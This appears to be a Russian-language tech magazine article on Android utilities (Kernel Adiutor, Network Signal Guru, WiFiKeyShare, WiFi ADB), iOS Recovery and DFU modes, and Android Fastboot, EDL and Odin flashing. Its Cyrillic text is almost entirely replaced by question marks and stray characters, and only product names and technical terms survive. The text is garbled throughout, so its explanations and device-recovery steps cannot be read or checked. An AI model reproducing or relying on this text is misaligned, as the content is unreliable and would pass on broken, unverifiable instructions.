??� ?� ????� ??� ??????� ????�???� ???�??� ???�??�??� ????�?,� ??� ????� ?????
Easy� DPI� Changer.� ?� ???�???�??� ???�???�??�?� ????�??� DPI?????�??????:
????�?� ?????�???� ????�?� ?� ???�??� ?� ???�??????� ?� ???�????.� ?� ?????� ?????�
?????�?????燚PI�燭ype�???�?.
CF.lumen�燛asy燚PI燙hanger
???????????�???�??�???
Kernel� Adiutor,� ???????,� ???�??� ???�??�???� ???� ???�???�?� ???�?????
???????�??.�????�???�??�??�?�??�??�?????�??:
? ???�???� ????� ???�??�???.� ???�?� ??????� ???�?????�??� ?� ????????�??
???�???,�????�???�???��????�???�??�??�??�?????
? ???�??�??�???�?�??�????�???�??�??�????
? ??�??????�??�???��??�????�???燝PU?
? ??�??�??�????�???�??�????????,�???�????�??�??????�???
? ????�???�?燣ow燤emory燢iller?
? ????�????��??�???�?燴?RAM��???
? ???�???????�???????�???�???�?????�?�??�??燭CP?
? ??�??�??燽uild.prop,�??????�???�???�????�???�???�???�??�??
? ??�??�????� ???�?� ?� ???�?� ????�?� (???�???� ???�??� ???�????�???�?
?????).
???�??�????燣ow燤emory燢iller��????�???�?燽uild.prop�燢ernel
Adiutor
?????????�??????�???
Network� Signal� Guru� ?� ??????�????�?� ????�??�????� ???�???�??� ??� ????�?
??� ???�?????�??,� ??� ?� ??� ????:� ???�??� ???�??� ??� ?????� ????�??�?
?�99�??�??,��????�??????�??�?��0�??�??.�???�??,�?�?�?�???�
??� ??????� ??� ????� ???�???�??,� ????� ??� ??� ?????�??�???� ??????????????
???�???�??�??�??.
Network� Signal� Guru� ????�????�??� ???� ???�??�?,� ?????�???�??� ?� ????�?
????�???�?????� ?� ??????�??� ?????,� ?� ???�?� ???� ???�??�?� ?????�??� ???�???�
???�???�??�???�????.��?????�??,�???�???�??�??�???�??�????�???�?
??�???�??�??�?�??�??�???燪ualcomm.
???� ???�?� ???�???� ?� ???????� Network� Signal� Guru� (???� ???�?� ???�?� ????�
?????�?�??�???�??�??�??):
? ??�???� ???�????�?????� ????�??�??� ???�?????� ?????�???.� ?????�?,
????� ??� ?????� ?????�???� ????�??,� ???????� ??� ?????� ???�??�???�?� ?� ????
???�???�??
? ??�??�???� ???�???� (???�?????� ?????�???),� ???�?� ????�???,� ???�????,
??�??�??�???�??��??�?�?�????�??????�??�???�????.�??�?�??�?
?????�???�?????,�??�?�???�???�????�???????�???�?��?�??��?
?????,� ???� ???�????� ???�?� ?????�????� ????�??�?� ?� ?????� ???�????�?
??????�???
? ???�??????,� ?� ?????� ???�??� ?� ???�?� ????�???� ???�??�??�?� ?????.
?� ??????�??,� ???�??�???� ????�???� ????�?� ???� ??????�???� ?� ????� ????�
????�??.
???燣TE:
? ?�??�??�??�??�?�??�??�?????�??�?�?????�???:�??????�??�?????
?????�??� (Band),� ??????� ??????� ??????�?????� ???�??� (Bandwith),� ?????�
????�?????� ?????� ??????� (EARFCN),� ???�???� ???�???�??�?� ???�???
(RSSI,燫eceived燬ignal燬trength營ndication),�??�??�??�????�??�(Timing燗d?
vance),� ???????�??� ?????�???�??�??� ??????� ???� ???�?????????�?
??�????�?????�???��?�??????�???�??�(Antenna爀NB燭x/Dev.燫x��???�
??????�??�??�???�??�???�?�???�???????�??�?�?????�?�????�?燣TE
MIMO)��?????�??�??�??�??????�?.
? ???�???�??�??�?�?????�???�??�?????�??????�???�??�?????�?�???�
????�?,� ?� ???????� ????�???� ??� ???�??�???�?� ??� ??????????� ???�???
(????�?� ???�????� ????�?� ???�??� ???�???� ???�???),� ???�?� ??� ???????�?:
???�?????� ?????�??� (Band),� ????�???�?????� ?????� ??????� (EARFCN),
???????�??� ????�?????�???� ???� (PCI,� Physical� Cell� Identity),� ????�??� ????�
?????�??�????�??�????�????�??�??�????�(RSRP,燫eference燬ignal燫e?
ceived燩ower),�????�??�??�????�????�??�??�????�(RSRQ,燫eference燬ig?
nal燫eceived燪uality).�?�???�??�?????�??????�??�(RSRP�燫SRQ)�???�
??� ????�?????� ?????�??� ???�???� ???�?.� ??????,� ???�?� ???� ???????
???�???�?�??�?????????.
???� WCDMA� ????� ???�?� ??????� ???�???�?????� ???????�??� (???�?????
?????�??,燫RC燬tate��??�??�??????�?,�????�??�???�??�??�????�??).
??�?????�??�??�????�????,燦etwork燬ignal燝uru�??�????�???�??????�
????� ????�????�?� ????� ?????�??�???� ???????� ?????:� GSM,� GPRS,� EDGE,
UMTS,燞SDPA,燞SUPA,燙DMA2000,燛VDO,燣TE�(FDD�&燭DD).
??�??�???�??,�?????�????�?�??�?��??�?,�??�?�?????�??�??�??
???????�??�??????�???�??�???�?,�???�?�???�??�?�???�??�??�??.
??�??��???????�??????�???��???燣TE�燱CDMA
???�???
? WiFiKeyShare.� Android� �?� ?????�?粻 ??� ???�???�?� ????�????�???� ??????
???�????�??� ?????� Wi?Fi.� ????�?� ??� ??????�???� ?� ???�???� root� ??????
????????� ???�?� ???�??????.� ???� ???�??�?� ?� ???�?� /data/misc/wifi/
wpa_supplicant.conf.� WiFiKeyShare� ??� ????�?� ????�?� ?� ??????�???� ????�
?????�??� ??????� ??� ???�?� ???�?,� ???� ???�???�?� ????????� ??� ??� ???�??
???????�????燪R????�??燦FC.
? Power燨?燬chedule.� ???�???�??� ???�?� ???�?????� ??????�???� ????�????,
???�?????�?,�???????�?��?�??�??????�???�????�???�???�?�?????
???????.� ?� ???�??� ????� ???�???� ????� ???�???????� ??????� ???�?� ????�
???????.
Power燨?燬chedule�燱iFiKeyShare
? WiFi燗DB�????�???�??�???????�??�??�????�?燗DB��???�??�?�????
Wi?Fi?????.�???�????�???�?�???�?,�????�?,�???�?��?�????�??�???�
????��??�??�????�??�??�???.�????�???�??�???�??,�???�??爎oot?
???�?,�?????�?�?�????�???????�??�?� ?????�????�?�(Coccinellidae).
?????�??�??��??�?????�????�??�?�????�?
$燼db燾onnect燲XX.XXX.XXX.XXX:YYYY
? Camera� Restarter.� ??� ??????�??� ???????� ????�??�??� (???�??�?� ??????�
????)� ????�?� ???,� ???� ???�???�??� ???�???�?� ??????,� ??????�?� ?� ??� ????
??????�?????� ??� ????�??� ???�???�???.� ??????� ??� ????� ????�???� ???:
???????�????�??�??�???�??燙amera燫estarter.
? Play燤usic燛xporter� ?� ???????� ??????� ??� Google� Play� ??????� ?� MP3.� ????�
????�???�?,� ???� ???�???�???� ???�?� ???????� ???�????,� ???�?� ????????
?�??�??�??�??.
? BlueputDroid� ???�???�?� ??????�?????� ????�???� ?� ?????�??� ???�????�?,
???�?� ???� ????�??�?� ???� ???�??� ??????�??,� ????�??� Play� Station� 3.
?� ??????�??,� ???�???�??� ???�?� ??� ???????�???,� ?????�?� ??� ???�?????�
???�?????�????�???�?�????�?�?????�???.
Camera燫estarter�燱iFi燗DB
??????????
????�???� ?� ???�???� root� ?� ???� ?????� ???�?????�?,� ?????�??????
???� ??????�??� ???� root.� ??????�??� root????�???�??,� ?????� ?� ?????�????� ????�
??????� ???�?� ?� ?????�??� ???�??� ???�????�??� ???� ??????�??�??� ???�???
???�????,�??�?�???????�??�?????�?�???�??�?????�?,�???�??�?�??�??
???�????�??�??�????��??�???�????.
?????
?????????
????????
???????�??????????��???????????
???????�?????????????�?????????
???�??�??�????� ??� ??� ???�????????
???????�
??�
???�?????�
�??�???�
?� ??????�??�?� ??� ????�????,� ???�????�
????�?� ?� ??????� ??????�???� ????�????
???�??�?�????�???��????�???�?牜????�
??� ??� ????�?粻 ??� �??�?� ???�?????�.
???????� ???� ??????�???� ???�??�??�??
???� ???�??�?,� ???????� ?� ???�??�??� ????�
????� ????�??� ?????� ???�????,� ????�????
???�???�?,� ????�??????� ????�?????�?
????�???� ??????�???� ?� ???� ???� ???�???
???�????�?� ???�?????,� ????�?� ???� ?????�?
??� ??????.� ?� ????� ??????� ??� ???�???�??
???�??�????� ???�??�??�????� ???�????
??�????�??�??�?????�????.
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
APPLE營TUNES:�?????燚FU�燫ECOVERY
???�??� ??????� ?� ???�????� ????,� ???� ???�??�??�????� ???�??�?� ??????�?
??�???�??�??��???�????燗pple.�?,�?�?�???�???,��??,�?�?????,�??
獳pple��??�??�,���???�???,�??��???�??�??�???�???�??�???�?????�
??????�?� ???�??,� ???�???�??�??� ?� ??????� ??????�??�??????�??.� ???????
???�??,�?�?�??�?�??�???���???�??�??��?????�??�??�???燱indows,
???�???�?�?????�??�燤icrosoft,��???�??�?燗pple,�????�??�???�?�?????�
???�??.
???� ???�??�??�????� ???�??�?� ??????�??� ???� ???????�???� iOS� ???�???�
?????�?� ???� ???�??� ??????:� Recovery� (????�???�?� ?????� ???�??�??�????)
?燚FU�(Device燜irmware燯pdate,�????�??????�??�??�??�?).
???�???� ???�?� ???�?� ??????�?� ???�???�???� ?� ???,� ???� ?????� Recovery
?????� ??????�???�????,� ??????� ??????�??�??????�??� ?� ???�???�????�??
??�????�??�???�?????�???��??�??�???�???爄Boot,�??????��??�??�???�?
???�???�??�??�?.��???�?????�??�?�??�??�???�??????�?????,�???�
??????� ???�??� ????�???????�???� ???�??,� ???� ?� ??????�?????� ????�?� ????�
??????� ???�??� (???� ?????� ????� ?????�?,� ???�????,� ???� ???�????� ???�??
????�????�?,�??�?�?????�???�???�?�???????�??????�??燨TA).�???�??,
???�??爄Boot�??�?�????????�(?燗pple�??�??????�?�???�?).
??�??� DFU� ?� ???�?????�????.� ???�??�??� ???�????� ?� Android� ?????
?????� EDL� (Emergency� Download� Mode).� ?� ????� ??????� ???????� ?????� iOS
??� ???�???�????� ??????�?� ?????�?????�?� ???�????� ?� ???�???� ???,� ???????
?????� ????� ???�?????� ???�????� ???�???� ????�?� ?,� ????� ???� ???�???�?,
????????�??�??�?�???�????�??�???�??.�????燚FU�?????�?�???�???�
??,�??�?�?????�???�???�???�?�???:�??爄Boot�?�??�???�???,�??????�??
?????�?�???�??�??�??�????��??�???�??.�???????�??�???�?????�
????� ???� ?????�????� ????�???.� ????� ?� ???� ?????� ???�???� ???�??????,� ??
????�?� ?????� ?????�???.� ????�?� ???� ???�???�?� ?� ????� ???�?� ?� iPhone� 4,
?� ???� ???�???� ???�?????� ?????�?????� ?????�????� ???�??� ??� ??????�???
??????�???�?�???�??�????�?�???�??�????�?.�????�???,�????�?�???�?
?????�???�?�???�??�??爄Phone�??�?????�???�?燗ndroid!
??�??�??�??�??�????燫ecovery�???�????�??�??�???�?????�??��???�
?????�??????�??????.燗pple� ????�???�?�??�???�?????�?�??????�??�???�
???�????,�???�??�?????�???�?�??�?????�??�???�?????:
? iTunes� ??� ???�????�?� ??????�???� ???� ????�???,� ???� ???� ???????�?
?�?????�??�??�??�?????
? ??�???�?�??�??�???�?�????�???�???�???�??????燗pple�??�???�????�
??�???�????�?????
? ????�???�???�????�??�??�????�爄Tunes.
??� ?????� ????� ???�?????�?� ??????� ???�??�??�????� ??� ????�???�?� ???�?
???�?�??�??�?.�??�??�???�???�???�?????�?�???�??????��??�?????
????�????:
? ??�????� ???�?????�??,� ???� ???�????�?� ????�?????.� ?????� ?????� ?????
???�??�??�????� ???�???�?� ???�???� ???� ???�????�?� (??� ???�???�???
??????� ??� ????�??� ??????� Apple,� ???�?� ????�???�???� ????????� ????�??,
????�?????�??�?�???�???,�???�???�??�??��??�????�???�??�?????
???�?�??�?????�?????�?,���????�??�????�?�??�?�??�??)?
? ??�????�??????��????�??�????燯SB燫estricted燤ode,�??�?????�??
?????� USB?????� ???�?????�???.� ??????�??????� ??????� ???�??�??�????
???�???�?�?????�??????�??????�??�?�?????�???�(?,�???�???�???�?,
????�???�??��????�???�??�???�??)?
? ??�????�??�?????�??,�?????�??�?????�(????�??�?�??????)�??�????
???�?????�??� ???�?� ???????� ???�?� ????� ???�????�?.� ??� ??????�?
???�???�???�???�???�???�????燙onnect爐o爄Tunes,�??????�?�??�??
???�??�??:� ????� ??????�???� ???� ???�?� ?� ?????�??� ?????� USB� Restricted
Mode,�??�??�???�爄Tunes�??�????�?��???�?????�??�?�燫ecovery?
? ??�???�???�?�????�???�?????�??????�??燨TA,�??�?�??�??�???�???�
???�???�?????.�??�??�??�????�(???�??�????�??�??)�??�???�?�????�
????�?� ??� ???�??� ????�?.� ?� ???�?� ???????�??� ???�???� (???�????�?????
?????�?� ????�??�?� ???�??� ???�??� ????�????�??)� ???� ???�???�??� ??????
??????�???� ?????� ?????�?????�?� ???�???????�?� ?????� ?� ?????�???� ????�
????�??,�??�???�??�?�??�?????�????燫ecovery.
??� ???�??� ??????�????� ???� ??????�?� ?� ?????� ???�??�??�????� ???�????�?
????� ???�?????� ???????,� ?????�???� 10?15� ??????,� ???�?� ????� ???�??�???
?�????�??�?�爄Tunes,�???�????�???�?牜?????�.�?�????�????�??�?�???�
???�???�???:
? ??爄Phone��????�????�??????�?????��??�??�????????�???�?�???�
????�??� ????�????.� ??????� ?� ???�??� ?????????� ????�?� ?????�????� ?????�
?????.�????�?????��???�?????�??????�???�?,�???�?�?????�?�????
???�??�????�爄Tunes?
? ??爄Phone�??爄Phone�lus�??????�??�?�?????��???�?????�??????
????�?� ?� ????�?� ?????�????� ????�????.� ???�??�???� ????�?????� ??,� ????
??�?????�?�????�??�??�????�爄Tunes?
? ??� ??????�???� iPhone� 6s� ?� ?????� ???�??� ???????,� iPad� ???� iPod� touch:
???????�??�?� ??????� ????�?� �????粻 ?� ???�???� (???� ???????)� ????�?.
???�??�???�???�?????�?,�???�?�?????�?�????�??�??�????�爄Tunes.
??�??�??�??�??�????爄OS�
?� ???� ???????� ?� ?????� DFU� ???�???�?� ??� ???????�??????.� ???� ???�??
??????� ??????�???� ???�?????�???�????� ?????� ???� ??????�?� ?� ?????� DFU
????,� ?� ????� ???� ???�?� ?� Recovery� ???�????�?� ????????????????
???�??????????�?????�???�????�??�???�?,�?�??�??�?�燚FU�????�???�
??� ???�???�????� ???????.� ????� ??????�?� �???�?????� ????� ?????�?粻 ?� ??
????�?�??�?�?????�??�?�?�???�????�?.�???�???�?�??�???�???�?�
?�?????�???�???�?�??�?�燚FU�???�?�??????�????�?.
???�????� ????� ???� ??????�?� ?� ?????� DFU� ???�???� ?� ??????� Everything
about� iOS� DFU� and� Recovery� Modes.� ???� ???� ???�???� ???�?????�???�????
???�?????�??�?????�??爄Phone��lus�爄Phone燲:
1.�?�????�??�??�???��????�??�?.
2.�??�??�?????��????????燰olume燯p.
3.�??�??�?????��????????燰olume燚own.
4.�?�???��???�?????�???�?�??????,�???�????�?�??�??�??�??,�??�?
????�?????�???�?燰olume燚own�(???�??�??�???�?????�???�?�??????).
5.�?�??� ????� ??????� ?????????� ????�?� ???????� (???�??�??� ????�?????� Vol?
ume� Down).� ????� ???????� ?????�????�?,� ??� ??????� ???????� Apple
???� ????�????� ??????� Recovery� ?� ??????� ???�?� ??� ???,� ?� ????� ???�??�?
???�?????�?????�??�??�?????�???�????.
6.��?????燚FU�????�?????�?�???�??�?�??�??.�??�?�???�?????,�??
??????�???� ???????�?� ?� ???�??� ??????,� ?????�?� iTunes.� ????� iTunes
???????� ????�????,� ???� ????�???�?� ??????�???� ?� ??????� ???�??�???�
?????,��?�????�???,�???�??�?.
??�?� ??????� ?????�???� iTunes,� ??� ????�????� ?????�???� ???�??�??�????
???� ???????�??� ??????�???.� ????� ???�???� �???�???�,� iTunes� ??????�???
????�???�?????� iOS,� ??� ???�??� ???�??.� ????�???�???�?,� ?????� �??�???�
??????粻???�??�????�??�??�?��??�??�??�??�??.�???�?�??�????:爄Tunes
?????�??????�?� ???�???� ?� ???�???� Apple� ???�??� ?????� ?� ?????�??????�?
???�???� ???????�??.� ????� ??� ??????� ??????�?????� ?????� iOS� (???�??�??
IPSW?????� ??� ???�?),� ????� ???�????�?� ?????� ????�???� ??� ????�?� �???�???�
???� �??�??�?????�,� ????�????� Shift� ??� ???�????�?.� ?� ????� ???�??� iTunes
??�????�?????�????�??�??�?,��??�????�???�??�???�???��??�?營PSW
??� ???�?.� ????�?� ???�????:� ?????� ???�??�?� IPSW� ???� ???????� Recovery
?燚FU�?????�???�?�???��??�?.
??�???�??爄Tunes��???�??????�?�??�??�??�????�?????�???
????�??,� ????�?????� ?????� ???�??� iOS� ????� ??� ????�??,� ????� ????� ??� ????�
?????�??�??營PSW:燗pple�??�?????�??�??�???�?�?,�????�???�?�??�??
???�??�?� ??� ??????� ????�?????� ??� ????� ??????�???,� ???�??� ?� ???�?
???????� ?� Recovery� ?� DFU.� ???� ???�???,� ??� ???�???� ????�?????� ????�?
?????� ???�??� ???�??� iOS� (??� ??????� ??????�??� ??????� ???� iOS� 12.1).� ????
Apple� ?????�?� ?????�???� ???????�??� iOS,� ??� ?� ????� ?????� �???粻 (???� ????�
????,� ?????�?� ????� ??????),� ?� ???????� ??????�?� ??� ???�???� ????�?????
???�??�?????,�??�???�?????�??�??�??爄OS.�??�???�?燗pple�???�????
???�???????� ???�???�??� ???�??� iOS,� �???粻 ???�???�???,� ?� ??� ???�?� ????�
????�??�???�???�?�????�??�?????�(???????)�??�??�??�???.
??�?� ??� ??????�???� ????� ????�??�???� ????????�??� iOS,� ?� ??� ??????
?????�?� ???????� ??� ?????,� ??� ????� ?????� ???�????� ???�???????� ????�?????
???�???�??� ???�??.� ??????� ??� �???�?粻 ???� ???????� ????� ????� Apple� ????�
?????� ???�??�?,� ??� ???� ????�????�?� (??????�??� ???�??� ???�??�?� ???�???
????�???????�???� ???�???� ??????�??� ???� ???�??�?� ???� ??� ???�??� ?
??�??�?????�?).
??�????,� ??� ???�???� ????�???�?� ??� ?????� ???�??� iOS,� ????� ??� ???????�
????�??�???�??�??�???�?????,��?�??�????�?�??�?????�?燘LOB???�???�
??,� ???�?� ??� ???�??� ???�???� ???� ???�?????�???� Apple.� ????�??,� ????
???�??,�?,�???�???,�?�??�??�?�?????�??????�?????燫ecovery�???�?
????�?�??�?�??�??.
???�?�?�??�?????�??�???�??�??�??�??爄Tunes?�??�??�???�??????�
???.�?,�??�???�?�???�???�(?�???????�????�??�?�??�??????�??)�????
?????�????�爄Phone�???,�??????爄Tunes�?�????�??�?�??�?�(???�????�
??????� ?� ???????� ???�?� ?� ????????� ???�????� ??� ??????� ?????� ???�?????
?� iTunes� ?� ???�???� ???�???� ???�??�??�????� ???�??�?!).� ??????�??� ??� ???
(???�????,� iPhone� Manager)� ?????� ??????� ?� ??????�???� ?� ?????� ???�??�?
?�?????�??�??�??�????.
????�???� ?� ???,� ???� ???� ??????� ??� ???�???�??� Recovery� ?� DFU� ????
??????�??�?�???�???,�??????�??�??��???��??�???爄Tunes.�??�??�???�
????�??� ???� ????�???� ????�??�???� ???�??� ?????� ????�????� ?� ????�???�??
???�??�????� (???�?� ??????� ????�?,� ??� ?????�???� ???�??????�??� ???�???�?
?� ??� ?????),� ???� ?� ?????� ???�??�??� ?� ???�??�???� ?????� ????�????� ?� ????�
????� ???� ???�?� ????�??�?� (???� ????�?,� ???�????,� iBackupBot).� ????�???
????�?� ?� ??????�??????� ?????� ???�???�??� ???� ???�??�??�????� ???�??�?
????�?爄Tunes��??�?�?�???.
ANDROID:�??????��??????
?� ???�??�??�???�?� ???�??�?� ??� ????�??�??� ?� Android� ????� ?????�??� ????�
????�????.� ?� ????� ??� ??????,� ???� ?????�??�?� ???�??�??� ???�??� ???????
?�??�???�??,��????�??�?????�??�????��??�??�?��??�??�??�???�????�
???.�??�??燨EM�??�???�?�???�?�??�??�???�??�??�??�?��??????�??
??????�???,��?�??�?�???�?�??�???�?�?爀mergency????????���??�?
????�??�??�?.�?��?�????�?.
??� ???�???� ???????�??� ???�???�??� ???�???�??� ???� ???????�??� ???�????
??�?????�??�燗ndroid�,�??????,�?�???�???.�?????�???????�??�???.
??�???爁ull燨TA�??�???�???燫ecovery
?�???�??�?�????�??�???燨TA,�??�???�???牜??�??�???�,�??�??�?�?????
??????� ???????�?� ???�???� ??� ????�??�???� ???�?????� ??????�???� ??� ????,
?????�??�??燗ndroid�???�???�??�???.�?????�?�??�??�???�???�?�????�
????�?� ????�?????�??� ??????� full� OTA,� ?� ??????� ??� ???� ????� ???????� ?????
??????� ???�?� ???�?.� ???�??�??�??� ???�?� ???�???� ?� ????�?????�??� ?????�
????,��?????�???�???�??????�?�??�??�???�???�??�?????���??,�??�???�
???�??�??�??�?�??�???�???.
??�??� Recovery� ???�????�?� ??????� ???????�??????� ?� ?� ?????� ???�????
???� ????�?????�?� ????�?????�?.� ????� ???�?????� ??????�???� ???� ??????
????�???燫ecovery�???�?,�??�??�?????�??????�??�?????�????�??????.
??�??�????� ???�?� ??????� ?� ???,� ???� ???� ????� ????�????� ???�??�??
??????�???� ???????,� ???????� ?????� ???�?????�?� ?� ????�??� Recovery.
???�???燫ecovery��??,�?�???,�??�??�??�??�??�??�???�????�??�???
?�??�????�??�????��???�?????.�???�???�??�??�??��??�???燫ecov?
ery,�??�???�?????�?�???�??????�?�??????�?.
??�??�??�???�???�?�??�????�?�???�???�?�???�?爁ull燨TA,�?�?????�
???�?�??�?�??�???��??�????�??�???�???�?�??�?????�??�??�??�???�
???,�??????�????�??�?�??�??�??�??????�??�??????.
??�???燜astboot�??�?????�??��??�??�???�??�??�??�????�??
??�??� ??????� ???????�???�?� ???�?????� ???????�??�?� ?� ???�??� ????�??
?�????�???�??�???�??,�?�???�??�??????�??��??�??�??�????�??�???�
??� ???�?� ???�?� ?????�???� ?� ???�?????�?� ???�??.� ???�?� ??????� ???�???
?� ???,� ???� ????�?????�?� ???�????� ???�??� ???�????� ???� ???,� ?????� ????�?
???�???� ?????� ???�???� (???�????,� ???� ???�????� ???????�???� ???�????�?
???�???� ???�??� ????,� ?� ???�??� ???�???� ?� ?� ???�?????� ???�??).� ?????� ????�
?????:��???�???�??�??�???�??�??�??�?�???�??�????燜astboot�??�????�
??� ???�??�???�??�??� ???�?????� (?????�????� ????�??� ?� ???� ????�??�?,� ????�
?????,� ????�???� BlackBerry� Priv,� ???????� ???�???�?� ???�?????� ????�???�
?????�?� ?????� Fastboot� ?� ???�?????�??�??� ???�????�??).� ?????� ??????�??
????�?????�?� ???�????� ??????� ??� ???�??� ???�???�?????� ???�???�?� ???�???�
????�???�??�?????,�?��???�??�??�??�??�????�?�????�???�??�????�???�
??� ?� ??� ???????� ?????�??� ??� ????�??????� ???�??� DRM.� ???�?� ???�???,
????�??�??,�??�??????�????�?�??�??�燜astboot,�?????�?�???.
??�??� Fastboot� ??????�?� ??� ????�?� ???�????�?� (bootloader)� ???� ??� ????�
?????�???.�???�???�???�?,��??�?????爏oft燽rick�???�??�???�?????�???
Fastboot�???,�??�??�???????�??�???�?????�???燫ecovery.�??�?????
Fastboot��???�???��??�??�???�??�??�??�????�??�??�?�??�?�??�???
?????�????�??�??�?????,��?????�???�???�???�???�?�??�??�??�??????�
??� ????� ?� ??????� Fastboot,� ?� ???� ???�??�??�????� ???� ???�??�?� ???�?????
?????燛DL.
??�???� ??� ???� ???�???�???�?� ????�???�?� ???�??�?� ???� Fastboot.� ?????
????,�??,�??�???�???�?,��???�??�??�???�???�??.
??�???燚eep燜lash�?�??�???�???�??�??�????
???�???�???�?� ???????� ???�?????� ??????� ?� ???????�???� ?????�??� ?????�
????�?�???�??�??�????�??�??�??�??�????�??�????.��?????�????燪ual?
comm�??�????燛DL�(Emergency燚ownload燤ode),�??�?�????�???�??�???�
????�???�??�???�??�???�??�(?�??�???�?,�????�08).�??�?????�??燤e?
diaTek�??�????�???�??�????,�??????�??�?�??�???�?????�?�??�?????
???�???� SP� Flash� Tool.� ???�??�???� ???� ???�???�?� ??,� ???� ???,� ????�??????
???�?�?????,�??�??��??�????�??�??��?????�???�??�??�????��????
EDL� ??� ???�?,� ???� ???�???�?� ???�??�??�?????� ????� ?????� ??????�???,
?�??????�????�????�????燜astboot.
???�??�??�?�????燛DL�??�???�?�?????�??�?????��??�?�??�????�
?????????�?????�???,�??????�??�????�??�?????��?????�???�??�??�??
?� ?� ???????� ?????� ???�???� ????�?� ?� ??????� ????�??�?,� ????� ???�?� ???????�
????�?�??�???�??�??.
??�???�??�??��??�????�?燪ualcomm�??�?????�?��????燛DL,�???
???�???�?????� ??????�????� ???????�???� ??????,� ???�????�?� ???�?????
???????,� ??????� ????� ??� ???�??� ????�????� ?� ???�??�???� ???� ?� ?????�??�?.
??????�???�??�??�???�?????�?��??�????�?�????�??燪ualcomm燞S?USB
9008?� ????� ???�?� ??� ???�???�?,� ??� ????� ??????�???� ???????�?� ?� ???�??
??????,�???�???�??�?�???�?????�???�???�??�???�???�??�(?�????�???�
???�?????�???�???�?�???�???�???�??燪HSUSB_BULK).
?� ?????� ???�??� ????�??�??� ?????� ???�??� ??????�?� ?� ?????� EDL� ?????
??� ???�?????,� ?� ???� ?????� ????�???�???� ??????�???� ????�????�??� ????�
??????� ?� ????�??� USB.� ??� ???�?� ??????� ??????� ???� ?????� ?� USB?????� ?????�
???�??� ???� ???�???,� ?� ?????� ???�???� ???�????�?� ??????�?????� ????�???�???�
????�?????.
�?????��???�??�,�?�?燛DL燾able,�?�?燚eep�ash燾able
??�????,� ?� ???�??� ???�??� ??????�????� ?????� EDL� ?????� ????�???�???�?
?�????�???�?????�??�????,�??????�??�???�?�??�???��??�?????�???�
??�?????�???�(???�???�??????�??�??�?�????�???).
??�??�??�???:�????燛DL��?????�??燗lcatel營dol��/�ro,�?????�???
???� ???????�???� Windows� 10� Mobile,� ??????�?� ???�?� ???� ??,� ???� ?� ????�????�
???�???�??????�??�????�?燗ndroid.�??�???�??�??�??�?燗ndroid????�??
??????�??�?????�?��??�??�??�??�????�??????�燱indows.
????�???�??�??�???�??�??�???�???�??
??�???�??�??�???�???�?�????�???�???�???�??�??�???�??�??�??�???�
??� ????�??�??,� ??????�?????� ?????� EDL� ??� ???�???�???�?� ??????� ????�
??????� ??????� ???� ??????�???� ???� ????�???�??� ???�???�??.� ?????� ????�
????�??�???�燬amsung�(???�???�??�?,�??�??�??�??????�??�???�?�???�
???� ???�??� ???�???�??),� ?� LG,� Sony,� Xiaomi?� ????�?� ?� ?????� ???�???�???
?????� ???�????� ?????� ???�??�??�????� ???�??�?,� ????�?� ?� ???.� ???????
???� ???� ??� ???�???�???�?,� ???� ?� ??� ???�???�??� ??????� ??????�???.� ???� ????�
????,� ?????� ???�???�??� ???� ??????�??� ??????�???� ?� ???�??� ???� ???�??�?
?????� ?????�??????�?,� ???� ???????� ????�?????�?� ????�???�??�???� ????�
????�??.
??????????? ??????
?
? �?????�?????
?????
????????? ????????
???????�??????????��???????????
???????�?????????????�?????????
???�??�????�???�??�???�?????�??�??�???�??�??
???� ????�??�??� Android� ???� ???�???� ????�????� ???�??�??�????� ???�?????
????�???�?爁ull燨TA�????�???,��????�?�???�???�?????�?�??�???�????�
???,�?�?????�??��??�??�??�????�??�?????�????�?????�????.
???�???�??�??燝oogle燩ixel�??�????�???�?燜astboot�爁ull燨TA�??�???�
???�?� ?????� Recovery� ???� ???�??�???�????� ???�????�?.� ?� ??????�??,� ?????�
????�?????�?,�??�??�?�????�????�?.�??�???�??�??�????�???�??????
Pixel� 2� ?� ???�?????�??�??� ???�????�??� ?????�??�?� ????�??�?� ???�?????�?
?�???�??燬lot燗爑nbootable.�??�??�???�??�??�??�?????�??�????�?�???�
????��??�??�???�????�??�??�??�????�??�???�?�??�???�??�????�??
????,� ??� ???�??�????�?� ??????�???� ????� ?????�????.� ???�??�?� full� OTA
?????�???�??燫ecovery�??�?�??�?�?�?????�???�???,�?�???�??燫ecov?
ery� ??� ???�???????� ???� ??,� ???� ?� ????� ???�???.� ???????,� ???�??�??�????
?????燛DL�????�????�??�?�?????�?�???�???��?�??�??燛DL?????�?
Google� ??� ???�???�?.� ?� ??????�???� ??????�???� ??????�?� ??� ?????�??,� ?� ????�
????� ???�??�??�????� ???�??�?� ??� Google� ?� ?????�??� ????�???� ?????�?????�
???.
???� ????�??�??� Samsung� ?????�??�?� ???� ???????� ???� ????�??�??� ????�
???�?,� ???�???�???� ???�??�??�?????� ???�??�?.� ???� Odin� (???�????�?� Sam?
sung�??�?????�??????�???�?�??�????���??�?????�??�???)��???�???�
???� ??� ???� ??� ???�???�?� ???�???� ?� ?????�??� ????????� ?????� Heimdall.� ???
???�??�?� ??????�???� ????�?????�??� ???�????� Samsung� Odin,� ???????� ????�
?????�???� ???� ??????�???� ???�????� ??????�???� ??� ???�???� (Snapdragon
???� Exynos).� ???�????� Odin� ??????�?� ??� ?????� ???????� ????�?,� ???� ?????
EDL.� ??� ???�?� ??????� ???????� ???�???�?� ????�??�???� ???�?????
?� ???????� ???�???�?� Loki.� ???� ???�????�??� ???�????�?� (???� ???�??�?
?????�????�???� ???�????�?)� Loki� ?????� ??� ???�?????�?,� ?� ??????�???� ????
????�?????�??????燨din�?�??????�??�??�?????�?????�???.�??�???�???�
??,�?????�??�???�??�?燬amsung�(?????�????�??�?��??�??�??????�??
Galaxy� S8� ??� ???�???� Exynos)� ???�???�?� ???�??�???�???� ???�?????� ????�??
?????�?????�?� ???�???�?� OEM� Unlock?� ??????�?� ????�?� ???�??� ???� ????
??�??�???�??.
???�????燨nePlus�??�???�?�??�???�?�??�??�??�?�????燜astboot�(???
??????�??��??�??�???�??�??�??�????�??),�??��???�?�??�???�???燫e?
covery,� ???�???�???� ???�???� ????�?� ???�??�?� (?????�???/???�??????�??)
???� ????�???� ??� ???� ???�??�???�????� ???�????�?.� ????�???�??� ???�????
?� ????� ?????� ???�??�??�??� ???� ???�??�??�????� ???�??�?� ?????� EDL,� ???
?????�???�??�???????�??�??�??�??�?�????�??�??�????�?.
??�???�???燜astboot�??�??�????�??�?????�??�???�??�??�??�????
???�?????�??�??????�???�??�??燤otorola�??�????�???�?爁ull燨TA,�???�
